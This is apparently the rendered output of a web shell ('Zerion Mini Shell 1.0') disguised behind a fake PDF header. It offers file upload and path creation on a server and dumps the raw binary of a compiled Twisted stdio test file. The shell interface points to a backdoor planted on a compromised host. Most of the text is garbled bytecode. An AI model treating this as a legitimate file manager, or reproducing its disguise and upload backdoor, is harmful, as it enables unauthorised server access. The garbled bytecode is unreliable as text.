%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/test/__pycache__/stdio_test_consumer.cpython-312.pyc

�

Ϫ�f���J�dZddlZddlmZmZddlmZddlmZm	Z	d�Z
Gd�dej�Ze
d	k(rje	jejd
�j!�ddlmZej$eejd��ej&�yy)
z�
Main program for the child process run by
L{twisted.test.test_stdio.StandardInputOutputTests.test_consumer} to test
that process transports implement IConsumer properly.
�N)�protocol�stdio)�basic)�log�reflectc�t�tjtj�tj|�y�N)r�startLogging�sys�stderr�err)r
s �B/usr/lib/python3/dist-packages/twisted/test/stdio_test_consumer.py�failedrs�����S�Z�Z� ��G�G�C�L�c��eZdZd�Zd�Zd�Zy)�
ConsumerChildc��||_yr	)�junkPath)�selfrs  r�__init__zConsumerChild.__init__s	�� ��
rc����tj�jt�jd��j
�}|j
t�|j�fd��y)N�rbc�8���jj�Sr	)�	transport�loseConnection)�ignrs �r�<lambda>z.ConsumerChild.connectionMade.<locals>.<lambda>!s���$�.�.�"?�"?�"A�r)	r�
FileSender�beginFileTransfer�openrr�
addErrbackr�addCallback)r�ds` r�connectionMadezConsumerChild.connectionMadesK�������0�0������%�t�~�~�
��	
���V��	�
�
�A�Brc�,�tj�yr	)�reactor�stop)r�reasons  r�connectionLostzConsumerChild.connectionLost#s�����rN)�__name__�
__module__�__qualname__rr$r)�rrrrs��!�C�rr�__main__�)r&�)�__doc__r�twisted.internetrr�twisted.protocolsr�twisted.pythonrrr�Protocolrr*�namedAny�argv�installr&�
StandardIO�runr-rr�<module>r;s���
��,�#�'��
�H�%�%���z���G���S�X�X�a�[�!�)�)�+�(��E���]�3�8�8�A�;�/�0��G�K�K�M�r

Zerion Mini Shell 1.0